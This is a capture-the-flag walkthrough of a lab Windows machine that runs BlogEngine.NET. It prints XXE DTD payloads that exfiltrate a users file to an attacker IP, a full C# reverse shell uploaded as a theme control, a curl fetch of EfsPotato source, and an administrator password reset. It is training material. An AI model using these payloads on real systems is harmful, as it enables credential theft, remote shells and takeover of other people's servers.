Exfilibur

You’ve been asked to exploit all the vulnerabilities present. - by l4m3r8

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with a Nmap scan and find only two open ports. Port 80 on which a Microsoft web server IIS is running and on port 3389 we have an open port that allows remote access via RDP.

ports=$(nmap -p- --min-rate=1000 -T4 exfilibur.thm | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -sC -sV -p$ports exfilibur.thm

We focus on the web server and enumerate the directories. We have the directories blog and aspnet_client here.

We can go deeper with Feroxbuster. However, this is not relevant for this writeup, as the relevant endpoints can also be reached manually.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/exfilibur]
└─$ feroxbuster --url http://exfilibur.thm/ --depth 2 --wordlist /usr/share/wordlists/dirb/big.txt -r --status-codes 200,301 -W 0

When analyzing the webpage on the Blog directory, we are confronted with version 3.3.7. This version contains numerous vulnerabilities. From Directory Path traversal, exfiltration of data on the file system via XXE or Remote Code Execution in different facets.

The following link provides an overview of various exploits:

We will use the following three exploits as part of the challenge:

CVE-2019-11392 BlogEngine.NET syndication.axd XXE

CVE-2019-10717 BlogEngine.NET Directory Traversal / Content Listing

Web Access

The initial attempt of this challenge was the intended way, which I will explain below, using CVE-2019-11392. Due to the firewall, the outgoing and incoming traffic is very limited. But there is another possible way, which I will explain first. From the description in the post, it quickly becomes clear that things have to be decoded and decrypt. Hence, the idea to exfiltrate the user.xml to the file system.

With Brute Force

Since the exploit did not work at first, here is the other possible solution. We have the option of logging in to blogengine. Unfortunately, no users can be enumerated via this panel, but let's take a look at the password-retieval.aspx...

Here we are able to enumerate users, since the SendMailMessage function fails, which is apparent due to the not available connection in context of this challenge. Here we see, that the admin user is present.

If a user is not in the system, we get the message "User not found".

We intercept the request using Burp Suite and forward the request to the intruder module in order to enumerate further users. This was the remedy after brute forcing via hydra on the admin user did not lead to any results.

We use the list cirt-default-usernames.txt.

After a short time, we determine the user admin and guest.

With an educated guess, we are able to retrieve the guest's username. Otherwise, follow the intended way.

Exfiltration and Decoding

We make use of the CVE CVE-2019-10717. Using the directory path traversal option, we find the user.xml in /blog/App_Data/.

As already mentioned, it is actually about decoding / decrypting. Looking at the source on GitHub of the blogengine repository, we see here an example password for the admin user.

We extract the user.xml using CVE-2019-11392. We test the CVE first and extract the C:\Windows\win.ini, as in the example, in the CVE.

This CVE as well as the others that required an outgoing and incoming connection failed because the ports are blocked, and I used the wrong ports. But the SMB port 445 is an open port.

We set up the XML and DTD like described in the CVE.

We query curl http://exfilibur.thm/blog/syndication.axd?apml=http://10.8.211.1:445/oob.xml

And receive the contents of the files at our web server.

Next, we edit the exfil.dtd to retrieve the users.xml at C:/inetpub/wwwroot/blog/App_Data/users.xml.

oob.dtd
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://10.8.211.1:445/exfil.dtd">
<foo>&e1;</foo>
exfil.dtd
<!ENTITY % p1 SYSTEM "file:///C:/inetpub/wwwroot/blog/App_Data/users.xml">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://10.8.211.1:445/EX?%p1;'>">
%p2;
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/exfilibur]
└─$ curl http://exfilibur.thm/blog/syndication.axd?apml=http://10.8.211.1:445/oob.xml

The path was chosen correctly, and we receive the users.xml.

Using CyberChef we are able to retrieve the hashes of the users admin and guest, encoded in base64.

We are only able to crack the hash of the user guest. With that, we are able to log in. But keep in mind, that the + in the base64 encoded string is also decoded. So you have to add that again.

Getting Access

With the found credentials, we are able to log in as user guest.

There is a post in the draft that contains a password. There is also a note that this should not actually be reused, but probably is. We are able to authenticate ourselves as admin to blogengine with the password. But this does not seem to be absolutely necessary.

Machine Access

We use the following exploit for initial machine access:

This requires authenticated access. But it was also possible to upload without authenticationas part of the Challenge. The selected port is very important here.

A successful upload is indicated by a 201 response:

Below is the payload, which was sent via Burpsuite.

POST /blog/api/upload?action=file HTTP/1.1
Host: exfilibur.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/plain
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------12143974373743678091868871063
Content-Length: 2170
Upgrade-Insecure-Requests: 1

-----------------------------12143974373743678091868871063
Content-Disposition: form-data; filename="PostView.ascx"

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
  static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

  using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.8.211.1", 445)) {
    using(System.IO.Stream stream = client.GetStream()) {
      using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
        streamWriter = new System.IO.StreamWriter(stream);

        StringBuilder strInput = new StringBuilder();

        System.Diagnostics.Process p = new System.Diagnostics.Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.CreateNoWindow = true;
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.RedirectStandardInput = true;
        p.StartInfo.RedirectStandardError = true;
        p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
        p.Start();
        p.BeginOutputReadLine();

        while(true) {
          strInput.Append(rdr.ReadLine());
          p.StandardInput.WriteLine(strInput);
          strInput.Remove(0, strInput.Length);
        }
      }
    }
      }
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
     StringBuilder strOutput = new StringBuilder();

         if (!String.IsNullOrEmpty(outLine.Data)) {
           try {
                  strOutput.Append(outLine.Data);
                      streamWriter.WriteLine(strOutput);
                      streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

-----------------------------12143974373743678091868871063--

Our successful upload can be confirmed by means of the directory traversal vulnerability CVE-2019-10717.

We set up a listener on port 445 and query the following request via cURL to trigger the payload.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/exfilibur]
└─$ curl -b "theme=../../App_Data/files/2024/02" http://exfilibur.thm/blog

After a short wait, we receive a reverse shell as exfilibur\merlin. This has an interesting privilege set that we will exploit later, the SeImpersonatePrivilege. There is also another user. The user kingarthy is also on the system.

Unfortunately, the user flag cannot be found at merlin.

We remember the credential reuse. And try to connect to the machine as kingarthy via RDP and use the password from the draft post.

We are able to connect and find the users flag on the Desktop of the user.

Privilege Escalation

Back to our reverse shell, we try to escalate our privileges using the SeImpersonatePrivilege. For this, we make use of the EfsPotato.

cd C:\Users\merlin\desktop

We download the source on the target system.

curl http://10.8.211.1:445/EfsPotato/EfsPotato.cs -o ep.cs

And compile it like described on the machine. Fortunately it does not get detected by defender, and is therefore not deleted.

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe ep.cs -nowarn:1691,618

After executing whoami via EfsPotato we see we are nt authority\system.

Now, we just change the password of the administrator using EfsPotato and try to RDP into the machine with the new credentials set.

.\ep.exe "cmd.exe /C net user administrator Password1234!"

We are able to connect as Administrator and find the root flag on the Desktop.

Recommendation

Don't missout on Jaxafeds writeup, with a different privilege escalation approach using SeRestorePrivilege and SeTakeOwnershipPrivilege on user kingarthy.

Ensure you don't overlook Voltas writeup on obfuscating GodPotato to elevate the privileges.

Last updated